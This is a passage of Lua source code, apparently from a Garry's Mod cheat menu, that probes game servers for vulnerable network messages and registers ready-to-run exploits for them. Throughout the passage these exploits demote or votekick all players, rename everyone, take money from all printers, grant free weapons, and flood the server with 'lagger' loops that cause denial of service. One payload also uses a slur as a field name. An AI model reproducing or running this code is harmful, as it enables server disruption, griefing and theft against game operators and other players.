8009end )
8010end
8011
8012status = ValidNetString("Resupply")
8013if (status) then
8014CHATPRINT("Ðайден ÐкÑплоит: ReSpawn Equipment [Resupply]")
8015addExploit( "57","ReSpawn Equipment", "", function()
8016surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8017net.Start("Resupply")
8018net.SendToServer()
8019end )
8020end
8021
8022status = ValidNetString("DarkRP_Defib_ForceSpawn")
8023if (status) then
8024CHATPRINT("Ðайден ÐкÑплоит: ReSpawn [DarkRP_Defib_ForceSpawn]")
8025addExploit( "58","ReSpawn #2", "just reSpawn", function()
8026surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("ReSpawn")
8027net.Start("DarkRP_Defib_ForceSpawn")
8028net.SendToServer()
8029end )
8030end
8031
8032status = ValidNetString("FiremanLeave")
8033if (status) then
8034CHATPRINT("Ðайден ÐкÑплоит: ОÑтавь пожарных [FiremanLeave]")
8035addExploit( "59","Fireman Leave", "", function()
8036surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8037net.Start("FiremanLeave")
8038net.SendToServer()
8039end )
8040end
8041
8042status = ValidNetString("PoliceJoin")
8043if (status) then
8044CHATPRINT("Ðайден ÐкÑплоит: ПриÑоединитьÑÑ Ðº полиции [PoliceJoin]")
8045addExploit( "60","Join the Police 1", "joining the police", function()
8046surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8047net.Start("PoliceJoin")
8048net.SendToServer()
8049end )
8050end
8051
8052status = ValidNetString("CreateEntity")
8053if (status) then
8054CHATPRINT("Ðайден ÐкÑплоит: Создать Ðнтити [CreateEntity]")
8055addExploit( "61","Create Entity", "", function()
8056surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8057for k,v in pairs(player.GetAll()) do
8058net.Start("CreateEntity")
8059net.WriteString("sent_arc_atm")
8060net.WriteFloat(100000000000000000000000000000000000000000000000000)
8061net.WriteEntity(v)
8062net.SendToServer()
8063end
8064end )
8065end
8066
8067status = ValidNetString("CREATE_REPORT")
8068if (status) then
8069CHATPRINT("Ðайден ÐкÑплоит: Создать репорт [CREATE_REPORT]")
8070addExploit( "62","CREATE REPORT", "", function()
8071surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8072local tab = {
8073REPORTER = v:Nick(),
8074REPORTERID = v:SteamID(),
8075FAGGOT = v:Nick(),
8076FAGGOTID = v:SteamID(),
8077INFO = "Dite Bonjour A YouTube :D",
8078PROOF = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
8079}
8080for k,v in pairs(player.GetAll()) do
8081net.Start("CREATE_REPORT")
8082net.WriteTable(tab)
8083net.SendToServer()
8084end
8085end )
8086end
8087
8088status = ValidNetString("Hopping_Test")
8089if (status) then
8090CHATPRINT("Ðайден ÐкÑплоит: ТеÑÑ‚ [Hopping_Test]")
8091addExploit( "62","Hopping Test", "", function()
8092surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8093for k,v in pairs(player.GetAll()) do
8094net.Start("Hopping_Test")
8095net.WriteEntity(v)
8096net.WriteString("69.696.696969.69")
8097net.SendToServer()
8098end
8099end )
8100end
8101
8102status = ValidNetString("CpForm_Answers")
8103if (status) then
8104CHATPRINT("Ðайден ÐкÑплоит: ПриÑоединитьÑÑ Ðº полиции [CpForm_Answers]")
8105addExploit( "63","Join the Police 2", "joining the police #2", function()
8106surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8107net.Start("CpForm_Answers")
8108net.WriteEntity(LocalPlayer())
8109net.WriteTable({})
8110net.SendToServer()
8111end )
8112end
8113
8114status = ValidNetString("VehicleUnderglow")
8115if (status) then
8116CHATPRINT("Ðайден ÐкÑплоит: Ðеон на машину [VehicleUnderglow]")
8117addExploit( "64","Vehicle Underglow", "", function()
8118surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8119net.Start("VehicleUnderglow")
8120net.SendToServer()
8121end )
8122end
8123
8124status = ValidNetString("OpenGates")
8125if (status) then
8126CHATPRINT("Ðайден ÐкÑплоит: Открыть двери #2 [OpenGates]")
8127addExploit( "65","Ouvrir Porte #2", "Force open the door you are looking at", function()
8128surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8129net.Start("OpenGates")
8130net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
8131net.SendToServer()
8132end )
8133end
8134
8135status = ValidNetString("DemotePlayer")
8136if (status) then
8137CHATPRINT("Ðайден ÐкÑплоит: Понизить вÑех игроков [DemotePlayer]")
8138addExploit( "66","Demote All Players", "Demote all players", function()
8139surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8140for k, v in pairs(player.GetAll()) do
8141net.Start("DemotePlayer")
8142net.WriteString(v:SteamID())
8143net.SendToServer()
8144end
8145end )
8146end
8147
8148status = ValidNetString("SendMail")
8149if (status) then
8150CHATPRINT("Ðайден ÐкÑплоит: Спам почтой [SendMail]")
8151addExploit( "67","Envoyez Mail", "sending mail to all players", function()
8152surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8153for k,v in pairs(player.GetAll()) do
8154net.Start("SendMail")
8155net.WriteString("Grosse sécurité les mecs ! :^)")
8156net.WriteString(v:Nick())
8157net.SendToServer()
8158end
8159end )
8160end
8161
8162status = ValidNetString("REPAdminChangeLVL")
8163if (status) then
8164CHATPRINT("Ðайден ÐкÑплоит: Сменить уровень [REPAdminChangeLVL]")
8165addExploit( "68","Admin Change Level", "free lvl", function()
8166surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8167for k,v in pairs(player.GetAll()) do
8168net.Start("REPAdminChangeLVL")
8169net.WriteEntity(v)
8170net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
8171net.SendToServer()
8172end
8173end )
8174end
8175
8176status = ValidNetString("BuyUpgradesStuff")
8177if (status) then
8178CHATPRINT("Ðайден ÐкÑплоит: БеÑплатное улучшение [BuyUpgradesStuff]")
8179addExploit( "69","Buy Upgrades", "free upgrades", function()
8180surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8181net.Start("BuyUpgradesStuff")
8182net.WriteString("")
8183net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
8184net.SendToServer()
8185end )
8186end
8187
8188status = ValidNetString("SquadGiveWeapon")
8189if (status) then
8190CHATPRINT("Ðайден ÐкÑплоит: Выдать оружие [SquadGiveWeapon]")
8191addExploit( "70","Donnez Des Armes", "easy weapon", function()
8192surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") inputFrameExists = true
8193inputFrame = vgui.Create( "DFrame" )
8194inputFrame:SetTitle("Choisi une arme!")
8195inputFrame:SetSize( 400, 75 )
8196inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8197inputFrame:SetDraggable(true)
8198inputFrame:ShowCloseButton(true)
8199inputFrame:MakePopup()
8200inputFrame.Paint = function( self, w, h )
8201draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8202end
8203local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8204TextEntry:SetSize( 380, 30 )
8205TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8206TextEntry:SetText( "ls_sniper" )
8207TextEntry.OnEnter = function( self )
8208surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Giving Weapon")
8209net.Start("SquadGiveWeapon")
8210net.WriteString( self:GetValue() )
8211net.WriteEntity(LocalPlayer())
8212net.SendToServer()
8213inputFrame:SetVisible(false)
8214end
8215end )
8216end
8217
8218status = ValidNetString("SetTableTarget")
8219if (status) then
8220CHATPRINT("Ðайден ÐкÑплоит: Выбрать цель Ñтола [SetTableTarget]")
8221addExploit( "71","Set Table Target", "", function()
8222surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8223net.Start("SetTableTarget")
8224net.WriteString("pername")
8225net.WriteString("perjob")
8226net.WriteInt(-10000000000000, 32)
8227net.WriteString("hitmansel")
8228net.WriteString("Anony.")
8229net.WriteString("")
8230net.WriteFloat(0)
8231net.WriteInt(-10000000000000, 32)
8232net.SendToServer()
8233end )
8234end
8235
8236status = ValidNetString("UpdateRPUModelSQL")
8237if (status) then
8238CHATPRINT("Ðайден ÐкÑплоит: Изменить модель игрока [UpdateRPUModelSQL]")
8239addExploit( "72","Change character model", "", function()
8240surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8241net.Start("UpdateRPUModelSQL")
8242net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
8243net.SendToServer()
8244end )
8245end
8246
8247status = ValidNetString("disguise")
8248if (status) then
8249CHATPRINT("Ðайден ÐкÑплоит: МаÑкировка [disguise]")
8250addExploit( "73","Disguise", "allows you to disguise as any job", function()
8251surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") inputFrameExists = true
8252inputFrame = vgui.Create( "DFrame" )
8253inputFrame:SetTitle("Enter the number of the job")
8254inputFrame:SetSize( 400, 75 )
8255inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8256inputFrame:SetDraggable(true)
8257inputFrame:ShowCloseButton(true)
8258inputFrame:MakePopup()
8259inputFrame.Paint = function( self, w, h )
8260draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8261end
8262local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8263TextEntry:SetSize( 380, 30 )
8264TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8265TextEntry:SetText( "5" )
8266TextEntry.OnEnter = function( self )
8267surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Déguisé")
8268net.Start("disguise")
8269net.WriteInt(tonumber(self:GetValue()), 32)
8270net.SendToServer()
8271inputFrame:SetVisible(false)
8272end
8273end )
8274end
8275
8276status = ValidNetString("gportal_rpname_change")
8277if (status) then
8278CHATPRINT("Ðайден ÐкÑплоит: Рп Ð¸Ð¼Ñ #1 [gportal_rpname_change]")
8279addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
8280surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") inputFrameExists = true
8281inputFrame = vgui.Create( "DFrame" )
8282inputFrame:SetTitle("Entrer Votre Nom")
8283inputFrame:SetSize( 400, 75 )
8284inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8285inputFrame:SetDraggable(true)
8286inputFrame:ShowCloseButton(true)
8287inputFrame:MakePopup()
8288inputFrame.Paint = function( self, w, h )
8289draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8290end
8291local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8292TextEntry:SetSize( 380, 30 )
8293TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8294TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
8295TextEntry.OnEnter = function( self )
8296surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Changé")
8297net.Start("gportal_rpname_change")
8298net.WriteString( (self:GetValue()), 32)
8299net.WriteString(" ")
8300net.SendToServer()
8301inputFrame:SetVisible(false)
8302end
8303end )
8304end
8305
8306status = ValidNetString("NewRPNameSQL")
8307if (status) then
8308CHATPRINT("Ðайден ÐкÑплоит: Рп ИмÑ#2 [NewRPNameSQL]")
8309addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
8310surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") inputFrameExists = true
8311inputFrame = vgui.Create( "DFrame" )
8312inputFrame:SetTitle("Enter your name")
8313inputFrame:SetSize( 400, 75 )
8314inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8315inputFrame:SetDraggable(true)
8316inputFrame:ShowCloseButton(true)
8317inputFrame:MakePopup()
8318inputFrame.Paint = function( self, w, h )
8319draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8320end
8321local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8322TextEntry:SetSize( 380, 30 )
8323TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8324TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
8325TextEntry.OnEnter = function( self )
8326surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Changé")
8327net.Start("NewRPNameSQL")
8328net.WriteString( (self:GetValue()), 32)
8329net.SendToServer()
8330inputFrame:SetVisible(false)
8331end
8332end )
8333end
8334
8335status = ValidNetString("chname")
8336if (status) then
8337CHATPRINT("Ðайден ÐкÑплоит: Рп Ð˜Ð¼Ñ #3 [chname]")
8338addExploit( "76","Рп Ð˜Ð¼Ñ #3", "", function()
8339surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") inputFrameExists = true
8340inputFrame = vgui.Create( "DFrame" )
8341inputFrame:SetTitle("Enter your name")
8342inputFrame:SetSize( 400, 75 )
8343inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8344inputFrame:SetDraggable(true)
8345inputFrame:ShowCloseButton(true)
8346inputFrame:MakePopup()
8347inputFrame.Paint = function( self, w, h )
8348draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8349end
8350local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8351TextEntry:SetSize( 380, 30 )
8352TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8353TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
8354TextEntry.OnEnter = function( self )
8355surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Changé")
8356net.Start("chname")
8357net.WriteString( (self:GetValue()) )
8358net.WriteString(" ")
8359net.SendToServer()
8360inputFrame:SetVisible(false)
8361end
8362end )
8363end
8364
8365status = ValidNetString("AbilityUse")
8366if (status) then
8367CHATPRINT("Ðайден ÐкÑплоит: БеÑплатный Ð±Ð¾Ð½ÑƒÑ [AbilityUse]")
8368addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
8369surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") for k, v in ipairs(rp.abilities.list) do
8370CHATPRINT("ID - "..k.." | "..v:GetName())
8371inputFrameExists = true
8372inputFrame = vgui.Create( "DFrame" )
8373inputFrame:SetTitle("Enter the id of the bonus")
8374inputFrame:SetSize( 400, 75 )
8375inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8376inputFrame:SetDraggable(true)
8377inputFrame:ShowCloseButton(true)
8378inputFrame:MakePopup()
8379inputFrame.Paint = function( self, w, h )
8380draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8381end
8382local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8383TextEntry:SetSize( 380, 30 )
8384TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8385TextEntry:SetText( "6" )
8386TextEntry.OnEnter = function( self )
8387surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Reçu")
8388net.Start("AbilityUse")
8389net.WriteInt(tonumber(self:GetValue()), 32)
8390net.SendToServer()
8391inputFrame:SetVisible(false)
8392end
8393end
8394end )
8395end
8396
8397status = ValidNetString("race_accept")
8398if (status) then
8399CHATPRINT("Ðайден ÐкÑплоит: Получить машину [race_accept]")
8400addExploit( "78","Recevoir Véhicule", "", function()
8401surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") inputFrameExists = true
8402inputFrame = vgui.Create( "DFrame" )
8403inputFrame:SetTitle("Enter the id of the car")
8404inputFrame:SetSize( 400, 75 )
8405inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8406inputFrame:SetDraggable(true)
8407inputFrame:ShowCloseButton(true)
8408inputFrame:MakePopup()
8409inputFrame.Paint = function( self, w, h )
8410draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8411end
8412local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8413TextEntry:SetSize( 380, 30 )
8414TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8415TextEntry:SetText( "1" )
8416TextEntry.OnEnter = function( self )
8417surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8418net.Start("race_accept")
8419net.WriteInt(tonumber(self:GetValue()), 32)
8420net.SendToServer()
8421end
8422end )
8423end
8424
8425status = ValidNetString("NLR_Spawn")
8426if (status) then
8427CHATPRINT("Ðайден ÐкÑплоит: РеÑпавн #3 [NLR_Spawn]")
8428addExploit( "79","ReSpawn #3", "instant revival", function()
8429surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8430net.Start("NLR_Spawn")
8431net.WriteEntity(LocalPlayer())
8432net.SendToServer()
8433end )
8434end
8435
8436status = ValidNetString("Kun_ZiptieStruggle")
8437if (status) then
8438CHATPRINT("Ðайден ÐкÑплоит: Сломать наручники [Kun_ZiptieStruggle]")
8439addExploit( "80","Casser Menottess", "Instantly breaks the handcuffs", function()
8440surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8441for i=0,30 do
8442net.Start("Kun_ZiptieStruggle")
8443net.SendToServer()
8444end
8445end )
8446end
8447
8448status = ValidNetString("JB_Votekick")
8449if (status) then
8450CHATPRINT("Ðайден ÐкÑплоит: Спам Вотекиком [JB_Votekick]")
8451addExploit( "81","Votekick Massif", "Kick Tous Le Monde", function()
8452surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8453for k,v in pairs(player.GetAll()) do
8454net.Start("JB_Votekick")
8455net.WriteEntity(v)
8456net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
8457net.SendToServer()
8458end
8459end )
8460end
8461
8462status = ValidNetString("Letthisdudeout")
8463if (status) then
8464CHATPRINT("Ðайден ÐкÑплоит: Выключить Ñервер[Letthisdudeout]")
8465addExploit( "82","Arret Forcé", "exploit on all Byb servers to bail yourself out", function()
8466surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8467net.Start("Letthisdudeout")
8468net.WriteEntity(LocalPlayer())
8469net.SendToServer()
8470end )
8471end
8472
8473status = ValidNetString("opr_withdraw")
8474if (status) then
8475CHATPRINT("Ðайден ÐкÑплоит: Лаггер #14 [opr_withdraw]")
8476addExploit( "83","Лаггер #14", "", function()
8477surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8478timer.Create("lagger14", 0,0, function()
8479for i = 1, 1000 do
8480net.Start("opr_withdraw",true)
8481net.WriteEntity(LocalPlayer())
8482net.SendToServer()
8483end
8484end )
8485end )
8486end
8487
8488status = ValidNetString("NC_GetNameChange")
8489if (status) then
8490CHATPRINT("Ðайден ÐкÑплоит: Изменить вÑе имена [NC_GetNameChange]")
8491addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
8492surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") inputFrameExists = true
8493inputFrame = vgui.Create( "DFrame" )
8494inputFrame:SetTitle("Enter the name")
8495inputFrame:SetSize( 400, 75 )
8496inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8497inputFrame:SetDraggable(true)
8498inputFrame:ShowCloseButton(true)
8499inputFrame:MakePopup()
8500inputFrame.Paint = function( self, w, h )
8501draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8502end
8503local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8504TextEntry:SetSize( 380, 30 )
8505TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8506TextEntry:SetText( "AHAHAHAHAH" )
8507TextEntry.OnEnter = function( self )
8508surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8509for k, v in pairs( player.GetAll() ) do
8510net.Start("NC_GetNameChange")
8511net.WriteEntity(v)
8512net.WriteString( (self:GetValue()) )
8513net.WriteString( (self:GetValue()) )
8514net.SendToServer()
8515end
8516end
8517end )
8518end
8519
8520status = ValidNetString("revival_revive_accept")
8521if (status) then
8522CHATPRINT("Ðайден ÐкÑплоит: БыÑтрое возрождение#2 [revival_revive_accept]")
8523addExploit( "85","Reanimation #2", "instant revival, ", function()
8524surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "exploit_revive" ) then
8525--( "Enabled" )
8526timer.Create( "exploit_revive", 0.5, 0, function()
8527if !LocalPlayer():Alive() then
8528net.Start("revival_revive_accept")
8529net.SendToServer()
8530end
8531end )
8532else
8533timer.Remove( "exploit_revive" )
8534--( "Disabled" )
8535end
8536end )
8537end
8538
8539status = ValidNetString("join_disconnect")
8540if (status) then
8541CHATPRINT("Ðайден ÐкÑплоит: Лаггер #15 [join_disconnect]")
8542addExploit( "86","Лаггер #15", "b1g lags my duder", function()
8543surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8544if not timer.Exists("lagger15") then
8545timer.Create("lagger15", 0.5, 0, function()
8546for i = 1, 3000 do
8547net.Start("join_disconnect",true)
8548net.WriteEntity(table.Random(player.GetAll()))
8549net.SendToServer()
8550end
8551end)
8552else
8553timer.Remove("lagger15")
8554--("Stopping")
8555end
8556end )
8557end
8558
8559status = ValidNetString("BuyFirstTovar")
8560if (status) then
8561CHATPRINT("Ðайден ÐкÑплоит: БеÑплатный физган [BuyFirstTovar]")
8562addExploit( "87","Free Physgun", "get physgun", function()
8563surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Take physgun")
8564net.Start("BuyFirstTovar")
8565net.WriteString("0")
8566net.SendToServer()
8567end )
8568end
8569
8570status = ValidNetString("BuySecondTovar")
8571if (status) then
8572CHATPRINT("Ðайден ÐкÑплоит: БеÑÐ¿Ð»Ð°Ñ‚Ð½Ð°Ñ Ð“Ñ€Ð°Ð²Ð¸Ð¿ÑƒÑˆÐºÐ° [BuySecondTovar]")
8573addExploit( "88","Gravity Gun Gratuit", "Pas Trop Utile Mais Tjr Cool :)", function()
8574surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Take gravitygun")
8575net.Start("BuySecondTovar")
8576net.WriteString("0")
8577net.SendToServer()
8578end )
8579end
8580
8581status = ValidNetString("MONEY_SYSTEM_GetWeapons")
8582if (status) then
8583CHATPRINT("Ðайден ÐкÑплоит: БеÑплатное оружие #2 [MONEY_SYSTEM_GetWeapons]")
8584addExploit( "89","Donnez Des Armes #2", "get weapons", function()
8585surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8586for i = 1,32 do
8587net.Start("MONEY_SYSTEM_GetWeapons")
8588net.WriteInt(i, 8)
8589net.SendToServer()
8590end
8591end )
8592end
8593
8594status = ValidNetString("MCon_Demote_ToServer")
8595if (status) then
8596CHATPRINT("Ðайден ÐкÑплоит: У вÑех игроков ÑмоциÑ#2 [MCon_Demote_ToServer]")
8597addExploit( "90","Demote Tout Les Joueurs #2", "demote all players", function()
8598surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8599for k,v in pairs(player.GetAll()) do
8600net.Start("MCon_Demote_ToServer")
8601net.WriteString(v:SteamID())
8602net.SendToServer()
8603end
8604end )
8605end
8606
8607status = ValidNetString("withdrawMoney")
8608if (status) then
8609CHATPRINT("Ðайден ÐкÑплоит: УкраÑть вÑе деньги #3 [withdrawMoney]")
8610addExploit( "91","Voler L'argents De Tous #3", "withdraw money from all printers, ", function()
8611surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8612for k, v in pairs(ents.GetAll()) do
8613net.Start("withdrawMoney")
8614net.WriteEntity(v)
8615net.SendToServer()
8616end
8617end )
8618end
8619
8620status = ValidNetString("withdrawMoney")
8621if (status) then
8622CHATPRINT("Ðайден ÐкÑплоит: Лаггер #16 [withdrawMoney]")
8623addExploit( "92","Лаггер #16", "", function()
8624surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8625timer.Create("lagger16", 0, 0, function()
8626for i=1,1000 do
8627net.Start("withdrawMoney",true)
8628net.WriteEntity(LocalPlayer())
8629net.SendToServer()
8630end
8631end )
8632end )
8633end
8634
8635status = ValidNetString("SyncPrinterButtons76561198027292625")
8636if (status) then
8637CHATPRINT("Ðайден ÐкÑплоит: УкраÑть вÑе деньги #4 [SyncPrinterButtons76561198027292625]")
8638addExploit( "93","Voler L'argents De Tous #4", "withdraw money from all printers", function()
8639surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8640for k, v in pairs(ents.GetAll()) do
8641net.Start("SyncPrinterButtons76561198027292625")
8642net.WriteEntity(v)
8643net.WriteUInt(2, 4)
8644net.SendToServer()
8645end
8646end )
8647end
8648
8649status = ValidNetString("gPrinters.retrieveMoney")
8650if (status) then
8651CHATPRINT("Ðайден ÐкÑплоит: УкраÑть вÑе деньги #5 [gPrinters.retrieveMoney]")
8652addExploit( "94","Voler L'argents De Tous #5", "withdraw money from all printers, ", function()
8653surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8654for k, v in pairs(ents.GetAll()) do
8655net.Start("gPrinters.retrieveMoney")
8656net.WriteEntity(v)
8657net.SendToServer()
8658end
8659end )
8660end
8661
8662status = ValidNetString("gPrinters.retrieveMoney")
8663if (status) then
8664CHATPRINT("Ðайден ÐкÑплоит: Лаггер #17 [gPrinters.retrieveMoney]")
8665addExploit( "95","Лаггер #17", "", function()
8666surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8667timer.Create("lagger17", 0, 0, function()
8668for i=1,1000 do
8669net.Start("gPrinters.retrieveMoney",true)
8670net.WriteEntity(LocalPlayer())
8671net.SendToServer()
8672end
8673end )
8674end )
8675end
8676
8677status = ValidNetString("NGII_TakeMoney")
8678if (status) then
8679CHATPRINT("Ðайден ÐкÑплоит: УкраÑть вÑе деньги #6 [NGII_TakeMoney]")
8680addExploit( "96","УкраÑть вÑе деньги #6", "withdraw money from all printers", function()
8681surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8682for k, v in pairs(ents.GetAll()) do
8683net.Start("NGII_TakeMoney")
8684net.WriteEntity(v)
8685net.WriteEntity(LocalPlayer())
8686net.SendToServer()
8687end
8688end )
8689end
8690
8691status = ValidNetString("money_clicker_withdraw")
8692if (status) then
8693CHATPRINT("Ðайден ÐкÑплоит: Лаггер #18 [money_clicker_withdraw]")
8694addExploit( "97","Лаггер #18", "", function()
8695surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8696timer.Create("lagger18", 0, 0, function()
8697for i=1,1000 do
8698net.Start("money_clicker_withdraw",true)
8699net.WriteEntity(LocalPlayer())
8700net.SendToServer()
8701end
8702end )
8703end )
8704end
8705
8706status = ValidNetString("opr_withdraw")
8707if (status) then
8708CHATPRINT("Ðайден ÐкÑплоит: УкраÑть вÑе деньги #7 [opr_withdraw]")
8709addExploit( "98","УкраÑть вÑе деньги #7", "withdraw money from all printers", function()
8710surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8711for k, v in pairs(ents.GetAll()) do
8712net.Start("opr_withdraw")
8713net.WriteEntity(v)
8714net.SendToServer()
8715end
8716end )
